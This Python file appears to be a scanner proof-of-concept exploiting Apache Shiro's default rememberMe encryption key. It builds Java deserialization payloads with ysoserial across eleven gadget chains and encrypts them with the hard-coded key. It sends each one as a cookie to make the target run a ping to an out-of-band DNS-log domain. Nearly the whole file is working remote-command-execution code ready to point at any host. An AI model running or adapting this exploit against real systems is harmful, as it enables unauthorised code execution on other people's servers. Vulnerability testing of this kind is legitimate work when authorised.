shiro.py

# coding:utf-8

import requests
import uuid
import subprocess
import unittest
import os
import base64
import traceback
from Crypto.Cipher import AES
from poc_common.dnslog import CEye


info = {
    "tag": u"",
    "script_desc": u"shiro默认key导致的反序列化命令执行;多payload",
    "fingerprint_query_condition": "service:http",
    "vuln_version": "",
    "vuln_level": "",
    "vuln_type": "",
    "timeout": "50"
}


def poc(args):
    hostname = args.get("hostname")
    port = args.get("port")

    url = "http://%s:%s" % (hostname, port)

    payload = ['ROME', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3',
               'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Jdk7u21', 'Spring1']

    try:
        custom_str = "shiro_%s_%s" % (hostname, port)
        ceye_url = '%s' % CEye().getRandomDomain(custom=custom_str)

        cmd = "ping -nc 2 %s" % ceye_url

        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9',
        }

        dir_path = "/".join(os.path.realpath(__file__).split("/")[:-1])
        jar_path = dir_path + "/third_party/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar"

        for p in payload:
            popen = subprocess.Popen(
                ['java', '-jar', jar_path,
                    "{0}".format(p), cmd],
                stdout=subprocess.PIPE)

            BS = AES.block_size

            def pad(s): return s + ((BS - len(s) % BS)
                                    * chr(BS - len(s) % BS)).encode()
            key = "kPH+bIxk5D2deZiIxcaaaA=="
            mode = AES.MODE_CBC
            iv = uuid.uuid4().bytes
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            file_body = pad(popen.stdout.read())
            base64_ciphertext = base64.b64encode(
                iv + encryptor.encrypt(file_body))
            response = requests.get(url, headers=headers, timeout=3, cookies={'rememberMe': base64_ciphertext},
                                    allow_redirects=False)
            response.close()
    except Exception as _:
        traceback.print_exc()
    return False


class TestCase(unittest.TestCase):
    def test(self):
        json_data = {
            "hostname": "xxx.com",
            "port": "80"
        }
        poc(json_data)


if __name__ == "__main__":
    unittest.main()